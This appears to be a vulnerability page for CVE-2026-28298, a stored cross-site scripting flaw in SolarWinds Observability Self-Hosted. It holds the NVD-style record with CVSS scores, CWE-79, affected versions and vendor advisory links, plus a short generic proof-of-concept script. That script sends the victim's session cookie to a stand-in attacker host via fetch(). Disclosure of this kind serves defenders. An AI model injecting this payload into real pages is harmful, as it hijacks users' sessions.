CVE-2026-28298

<!-- Proof of Concept for Stored XSS --> <!-- Attacker injects payload into a vulnerable field --> <script> // Simple demonstration of execution alert('CVE-2026-28298 Exploited'); // Example: Exfiltrate session cookie fetch('https://attacker-controlled-site.com/log?c=' + document.cookie); </script>

{"cve": {"id": "CVE-2026-28298", "sourceIdentifier": "[email protected]", "published": "2026-03-26T15:16:34.710", "lastModified": "2026-03-31T14:14:55.273", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SolarWinds Observability Self-Hosted was found to be affected by a stored cross-site scripting vulnerability, which when exploited, can lead to unintended script execution."}, {"lang": "es", "value": "SolarWinds Observability Self-Hosted se encontró que estaba afectado por una vulnerabilidad de cross-site scripting almacenado, que, al ser explotada, puede llevar a la ejecución de scripts no deseados."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.7, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:solarwinds:observability_self-hosted:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.1.1", "matchCriteriaId": "84D4A29F-B25B-42BD-A817-D40717B25EF6"}]}]}], "references": [{"url": "https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/hco_2026-1-1_release_notes.htm", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2026-28298", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}